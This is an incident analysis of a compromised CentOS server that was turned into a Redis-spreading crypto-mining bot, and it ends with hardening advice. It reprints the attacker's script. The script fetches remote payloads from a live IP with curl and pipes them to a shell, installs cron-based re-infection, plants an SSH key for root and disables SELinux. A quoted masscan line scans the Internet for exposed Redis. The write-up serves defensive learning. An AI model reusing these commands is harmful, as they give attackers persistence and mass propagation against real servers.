Inside a Crypto Mining Botnet: Step-by-Step Server Compromise Analysis

Investigation Start

On a Monday morning the author learned that a server was frozen by Alibaba Cloud for "malicious outbound traffic". SSH on port 22 was blocked, and the root account used a short, weak password, indicating a compromise.

Clues Found

The CentOS 6.x server ran Nginx, Tomcat, Redis, etc. A ps eho command -p 23374 and netstat -pan | grep 23374 revealed a suspicious process gpg-agentd (note the trailing "d").

Initial Findings

Two processes consumed 99% CPU each. The attacker had added a cron job that downloaded and executed a script every 15 minutes: crontab -e The downloaded script ( ash.php) was fetched with: curl -fsSL 159.89.190.243/ash.php > ash.sh Its contents performed the following actions:

uname -a
id
hostname
setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
crontab -r 2>/dev/null
rm -rf /var/spool/cron/* 2>/dev/null
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx' > /root/.ssh/authorized_keys

echo '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/root

echo '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root

yum install -y bash 2>/dev/null
apt install -y bash 2>/dev/null
apt-get install -y bash 2>/dev/null
bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null

The script disables SELinux, raises file descriptor limits, installs Bash, and adds the attacker’s SSH public key to /root/.ssh/authorized_keys, enabling password‑less root login.

Second Script (bsh.php)

This longer script performs four main tasks: download remote code and make it executable, modify rc.local for persistence, download and compile the open‑source scanner masscan, and finally execute a third script. curl -fsSL 159.89.190.243/bsh.php | sh Key actions include installing dependencies, compiling masscan, and using Redis configuration files to write malicious payloads to the filesystem.

Third Script (rsh.php)

The final payload manipulates Redis (default port 6379) to write a malicious configuration file that adds SSH keys, then uses masscan to scan the entire Internet for other vulnerable Redis instances, propagating the botnet exponentially.

setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
... (configuration of Redis via .dat file) ...
masscan --max-rate 10000 -p6379,6380 --shard $(seq 1 22000 | sort -R | head -n1)/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4,1,length($4)-4)}' | sort | uniq > .shard
... (loop sending .dat to each discovered Redis) ...

The attacker leverages the Redis "save" command to write the malicious .dat file, which contains SSH public keys and cron entries, effectively turning any exposed Redis server into a foothold.

Root Cause

Evidence from lastb shows many brute‑force attempts on the root account, confirming that weak credentials were the initial entry point.

What is gpg-agentd?

The mysterious gpg-agentd binary is likely a crypto‑mining payload, as strings such as "bitcoin", "eth", and "mine" were found. Analysis of the binary in IDA linked it to NiceHash mining activity.

Security Recommendations

Server

Disable direct root login.

Use strong, complex passwords or SSH keys.

Change the default SSH port from 22.

Deploy brute‑force protection tools like DenyHosts.

Disable password authentication; enforce RSA key authentication.

Redis

Bind Redis only to localhost; disable public IP listening.

Require a strong password for Redis access.

Run Redis under a low‑privilege account.

By following these steps, administrators can mitigate the risk of similar compromises.